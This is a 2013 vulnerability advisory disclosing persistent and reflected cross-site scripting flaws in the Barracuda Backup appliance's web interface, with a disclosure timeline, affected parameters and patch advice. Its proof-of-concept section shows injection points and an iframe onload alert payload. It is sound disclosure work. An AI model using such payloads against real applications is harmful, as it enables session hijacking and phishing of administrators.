Barracuda Backup - Multiple Web Vulnerabilities

Document Title:
===============
Barracuda Backup - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=783

BARRACUDA NETWORK SECURITY ID: BNSEC-881


Release Date:
=============
2013-06-14


Vulnerability Laboratory ID (VL-ID):
====================================
783


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
Barracuda Backup Service is a complete and affordable data backup solution. The Barracuda Backup 
Server provides a full local data backup and is combined with a storage subscription to replicate 
data to two offsite locations. This approach provides the best of both worlds - onsite backups for 
fast restore times and secure, offsite storage for disaster recovery. Block level deduplication is 
applied inline to reduce traditional backup storage requirements by 20 to 50 times while also 
reducing backup windows and bandwidth requirements. Cloud Storage with Deduplication

Barracuda Backup Subscription plans provide diverse offsite storage at affordable monthly fees that 
scale to meet increasing data requirements.

    * Secure backup to two geo-separate data centers
    * Deduplicated efficient backup storage
    * Redundant disk-based storage
    * Best-of-breed data retention policies
    * Web interface multi-location management
    * Restore by Web, FTP and Windows software


(Copy of the Vendor Homepage: http://www.barracudanetworks.com/ns/products/backup_overview.php)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Barracuda Networks Backup Appliance Application.


Vulnerability Disclosure Timeline:
==================================
2012-12-02:	Researcher Notification & Coordination
2012-12-04:	Vendor Notification
2012-12-08:	Vendor Response/Feedback
2013-03-06:	Vendor Fix/Patch (Confirmed)
2013-06-15:	Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
1.1
Multiple persistent input validation vulnerabilities are detected in the Barracuda Networks Backup Appliance Application.
The bugs allow remote attackers to implement/inject malicious script code on the application-side (persistent).

The persistent vulnerabilities are located in the Backup Server Verbinden - Prüf Informationen module with the bound 
vulnerable seriennummer & verbindungscode input or listing parameters. Remote exploitation requires low user interaction 
and a low privilege application user account. Successful exploitation of the vulnerability results in persistent session 
hijacking (admin/auditor), persistent phishing (application-side) and persistent manipulation of affected (vulnerable) modules.

Vulnerable Module(s):
                          [+] Backup Server Verbinden - Prüf Informationen

Vulnerable Parameter(s):
                          [+] Seriennummer
                          [+] Verbindungscode


1.2
A non persistent cross site scripting vulnerability is detected in the Barracuda Networks Backup Appliance Application.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions (client-side) with low 
or medium required user interaction and without local low privilege application user account. 

The vulnerability is located in the replication application module with the bound vulnerable update parameter request.
Attackers can inject the script code on client side  after processing to request the update value. 

Successful exploitation results in client side account steal, client side phishing, client side external redirects & 
client-side appliance module web context request manipulation. Exploitation of the vulnerability requires medium user interaction.

Vulnerable Module(s):
				[+] Replication

Vulnerable Parameter(s):
				[+] Update


Proof of Concept (PoC):
=======================
1.1
The persistent web vulnerability can be exploited by remote attacker with low privileged application user account and low or medium required
user interaction. For demonstration or reproduce ...

Review: Admin > Barracuda Backup Server verbinden > Verbinden Sie einen neuen Backup-Server > Seriennummer und Verbindungscode + Connect Listing

<form action="/all/account/link/" class="ultraform" method="post"><input name="form_models" value="backup_plan,backup_server,account/contact" 
type="hidden"><h4>Prüfinformation</h4><div id="link_form_wrapper"><div id="link_form_overlay" style="display: block;"></div><div class="fieldGroup 
statusOkay"><label class="ultraform_label">Seriennummer:</label>
<span><div class="alba-placeholder" style="position: absolute; background: none repeat scroll 0% 0% transparent; border-color: transparent; 
border-style: solid; height: 17px; width: 181px; padding: 2px 3px; font-size: 13px; font-family: Arial,'Liberation Sans',FreeSans,sans-serif; 
font-weight: 400; font-style: normal; letter-spacing: normal; line-height: 16px; text-align: start; text-decoration: none; border-width: 1px; 
vertical-align: middle; cursor: text; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; -moz-user-select: none; color: 
rgba(0, 0, 0, 0.35); top: 72px; left: 263px; display: none;">Seriennummer</div><input _placeholder="Seriennummer" size="25" name="serial_number" 
value="">"%20[PERSISTENT INJECTED SCRIPT CODE!]">" validation="required bbs_serial_number(linking_code)" content_source="" 
id="serial_number" type="text">
</span><span class="fieldGroupStatus"> </span>
<div class="fieldGroupInfo">Ersichtlich auf dem Geräte-Aufkleber.</div>
<div class="fieldGroupError"></div>
</div>
<div class="fieldGroup statusOkay"><label class="ultraform_label">Verbindungs-Code:</label>
<span><div class="alba-placeholder" style="position: absolute; background: none repeat scroll 0% 0% transparent; border-color: transparent; 
border-style: solid; height: 17px; width: 181px; padding: 2px 3px; font-size: 13px; font-family: Arial,'Liberation Sans',FreeSans,sans-serif; 
font-weight: 400; font-style: normal; letter-spacing: normal; line-height: 16px; text-align: start; text-decoration: none; border-width: 1px; 
vertical-align: middle; cursor: text; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; -moz-user-select: none; color: 
rgba(0, 0, 0, 0.35); top: 133px; left: 263px; display: none;">Verbindungs-Code</div><input _placeholder="Verbindungs-Code" size="25" 
name="linking_code" value="">"%20[PERSISTENT INJECTED SCRIPT CODE!]%20">" validation="required bbs_linking_code(serial_number)" 
content_source="" id="linking_code" type="text">
</span>


Review: Redisplayed Configuration - Listing

<div class="prepaid_subscription_block">Ein <b>3</b>-jähriges Energy Updates - A&#8203;&#8203;&#8203;&#8203;&#8203;bonnement wurde für 
die Seriennummer ">"">"&#8203;&#8203;&#8203;&#8203;&#8203;<iframe src="a">%20%20%20%20"><iframe src=a onload=alert("VL") <"> erworben und 
wird am <b>2015-12-03</b> erneuert werden. Die Erneuerung wird über die unten angegebene Zahlungsmethode abgerechnet. 
</div></div><h4>Rechnungsinformationen</h4><div class="fieldGroup "><label class="ultraform_label">Zahlungsmethode:
</label>
<span><input name="payment_method" 


Reference(s):
https://backup.127.0.0.1:2323/all/account/link/


1.2
The client side cross site scripting vulnerability can be exploited by remote attackers without privileged application user account and with 
medium or high required user interaction. For demonstration or reproduce ...

PoC:
https://backup.127.0.0.1:2323/bbs_1134/backup/replication/update/1/?=[CLIENT SIDE SCRIPT CODE!]


Solution - Fix & Patch:
=======================
1.1
The persistent input validation vulnerabilities can be patched by parsing the seriennummer und verbindungscode parameter values.
Restrict the input fields by disallowing special chars in the seriennummer and verbdinungscode module.
Do not forget to parse the redisplayed context (scroll down) of the included vulnerable values in the form mask.

1.2
The client side cross site scripting vulnerability can be patched by parsing the update process parameter when processing client side requests.


2013-03-06:	Vendor Fix/Patch (Confirmed - Barracuda Networks)


Security Risk:
==============
1.1
The security risk of the persistent input validation vulnerabilities are estimated as medium.

1.2
The security risk of the client side cross site scripting vulnerability is estimated as low(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2013 | Vulnerability Laboratory